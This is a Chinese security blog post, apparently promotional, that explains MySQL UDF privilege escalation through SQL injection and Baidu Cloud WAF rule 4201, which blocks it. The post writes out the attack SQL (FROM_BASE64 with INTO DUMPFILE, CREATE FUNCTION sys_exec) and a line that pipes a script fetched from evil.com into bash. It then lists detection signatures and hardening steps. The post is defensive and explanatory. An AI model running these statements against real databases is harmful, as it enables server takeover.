你以为 SQL 注入只能拖库?错了。高级攻击者可以通过 SQL 注入在服务器上写入一个恶意共享库(.dll/.so),然后创建自定义函数,直接执行任意系统命令——这就是 MySQL UDF 文件写入攻击。一旦成功,攻击者就等于拿到了服务器的 root 权限。今天我们就深度拆解这种攻击的原理,并介绍百度云防护如何用规则 ID 4201 将其拦截在萌芽状态。
一、 什么是 MySQL UDF?
UDF 是 User Defined Function(用户自定义函数)的缩写。MySQL 允许用户通过编写共享库(Windows 下为 .dll,Linux 下为 .so)来扩展其功能,例如添加一个名为 sys_exec() 的函数来执行系统命令。
正常用法:数据库管理员将编译好的 UDF 共享库放在 MySQL 的插件目录(plugin_dir)中,然后通过 CREATE FUNCTION 语句注册,之后就可以在 SQL 中调用自定义函数。
攻击者的利用:如果攻击者能通过 SQL 注入或其他方式将恶意共享库写入服务器文件系统,并注册为 UDF 函数,就能实现远程代码执行(RCE),完全控制操作系统。
二、 攻击手法拆解:FROM_BASE64 + INTO DUMPFILE
攻击者利用 SQL 注入漏洞,执行以下步骤:
2.1 获取 MySQL 插件目录路径
首先,攻击者需要知道 MySQL 的插件目录位置。通过注入查询:
SHOW VARIABLES LIKE 'plugin_dir';
通常返回类似 /usr/lib/mysql/plugin/ 或 C:\Program Files\MySQL\MySQL Server X.Y\lib\plugin\。
2.2 构造恶意共享库
攻击者预先编译好一个恶意的 UDF 共享库(例如 udf.dll 或 udf.so),该库导出了一个危险函数,如 sys_exec、sys_eval 等,用于执行系统命令。为了绕过传输限制,攻击者将二进制文件转换为 Base64 编码的字符串。
2.3 通过 INTO DUMPFILE 写入文件
攻击者利用 SQL 注入点执行类似下面的语句:
SELECT
FROM_BASE64('base64_encoded_malicious_library_content')
INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
FROM_BASE64()将 Base64 字符串解码回二进制数据。INTO DUMPFILE将二进制数据直接写入服务器文件系统,不添加换行符、不转义,完美保留原始字节。
关键点:INTO DUMPFILE 与 INTO OUTFILE 不同,它不会对文件内容做任何处理,非常适合写入二进制文件。
2.4 注册 UDF 函数
文件写入成功后,攻击者执行:
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
之后,攻击者就可以通过 SQL 调用系统命令了:
SELECT sys_exec('id');
SELECT sys_exec('wget http://evil.com/shell.sh | bash');
至此,攻击者完全控制了操作系统,可以任意操作:下载挖矿程序、加密文件勒索、窃取数据、横向移动等。
三、 为什么这种攻击极其危险?
| 攻击阶段 | 危害 |
|---|---|
| 写入共享库 | 绕过常规文件上传限制,直接向服务器写入二进制恶意文件 |
| 注册 UDF | 获得执行系统命令的能力,权限通常为 MySQL 进程用户(常为 root 或高权限) |
| 提权与持久化 | 攻击者可以添加系统用户、安装后门、植入挖矿程序、窃取数据库所有数据 |
| 横向移动 | 以数据库服务器为跳板,攻击内网其他系统 |
真实案例:某电商平台因 SQL 注入漏洞,攻击者利用 INTO DUMPFILE 写入 UDF 共享库,成功提权后拖走了全量用户数据,并植入勒索病毒,导致业务中断数天,损失惨重。
四、 为什么传统 WAF 难以防御?
- Base64 编码混淆:恶意共享库被编码成看似无害的长字符串,传统特征匹配容易漏过。
- 混合正常语法:
FROM_BASE64和INTO DUMPFILE本身是合法的 SQL 函数,可能出现在正常业务中(例如导入 Base64 编码的图片)。 - 二进制文件无特征:Base64 编码后的字符串本身没有恶意特征,只有解码后才显现出 PE/ELF 文件头。
- 多语句注入:攻击者可能分多条语句执行,增加检测难度。
五、 百度云防护如何拦截?规则 4201 深度解析
从百度云防护的内置规则库可以看到,专门有一条规则用于检测 MySQL UDF 文件写入攻击:
| 规则名称 | 规则ID | 风险等级 | 防护类型 | 规则描述 |
|---|---|---|---|---|
| Injection.mysql_udf_write.A | 4201 | 高风险 | 注入 | 检测 MySQL UDF 文件写入的 SQL 注入攻击,攻击者通过 FROM_BASE64 和 INTO DUMPFILE 将恶意共享库写入服务器 |
这条规则的拦截原理如下:
5.1 检测 FROM_BASE64 与 INTO DUMPFILE 的危险组合
规则会识别 SQL 语句中同时出现 FROM_BASE64() 和 INTO DUMPFILE 的模式,且 FROM_BASE64() 的参数长度异常(正常业务极少传递数万字符的 Base64 字符串)。
5.2 解码检测恶意文件头
当检测到该组合时,百度云防护 WAF 会尝试对 Base64 字符串进行解码,并检查解码后的二进制数据是否包含以下特征:
- Windows DLL 文件头(
MZ) - Linux ELF 文件头(
\x7FELF) - 常见的 UDF 导出函数名(如
sys_exec、sys_eval、cmdshell等)
一旦确认是恶意共享库,立即拦截。
5.3 路径白名单与异常路径检测
INTO DUMPFILE 的目标路径如果指向 MySQL 插件目录(/lib/plugin/、\lib\plugin\),且文件扩展名为 .dll 或 .so,触发高危告警。正常业务极少向该目录写入文件。
5.4 行为关联分析
如果同一请求中同时出现:
- 查询
plugin_dir系统变量 FROM_BASE64写入文件- 后续
CREATE FUNCTION语句
百度云防护会将其判定为完整的 UDF 提权攻击链,直接阻断。
5.5 低误报,高检出
正常业务中,几乎不会出现向 MySQL 插件目录写入 Base64 解码后的二进制文件。规则经过海量真实流量训练,误报率极低。
六、 如何启用百度云防护规则 4201?
如果你已经接入百度云防护,只需两步:
- 登录百度云防护控制台 → 防护配置 → Web防护 → 内置规则
- 搜索规则 ID 4201,确认状态为“开启”,动作为“拦截”
(建议先设为“观察”模式运行几天,确认无误后再改为“拦截”)
七、 主机吧总结:从 SQL 注入到服务器沦陷,只差一条规则的距离
MySQL UDF 文件写入攻击是 SQL 注入的“终极形态”之一,它让攻击者从“数据库窃贼”升级为“服务器主人”。而百度云防护的规则 4201,通过解码检测、路径分析、行为关联等组合手段,精准识别并阻断这种高级攻击。
对于数据库管理员和站长,除了依赖 WAF,还应:
- 设置 MySQL 插件目录权限:确保只有 mysql 用户可写,且禁止其他用户写入。
- 禁用 FILE 权限:对于普通应用使用的数据库账号,不要授予
FILE权限,这是INTO DUMPFILE的前提。 - 定期审计 UDF 函数:检查
mysql.func表,移除不必要的自定义函数。 - 升级 MySQL 版本:新版本对 UDF 有更严格的限制(如要求共享库必须有特定符号)。
如果你还不确定自己的数据库是否存在 SQL 注入风险,或者想为网站加上一道主动防御的屏障,欢迎联系主机吧。我们提供免费安全评估和配置指导,助你构建从 Web 到数据库的立体防线。
主机吧 | 百度云防护官方合作伙伴
提供 WAF 接入、高防 CDN、高防 IP、高防服务器、SSL 证书一站式服务
让每一次 UDF 写入都无处遁形,让每一台服务器都固若金汤。


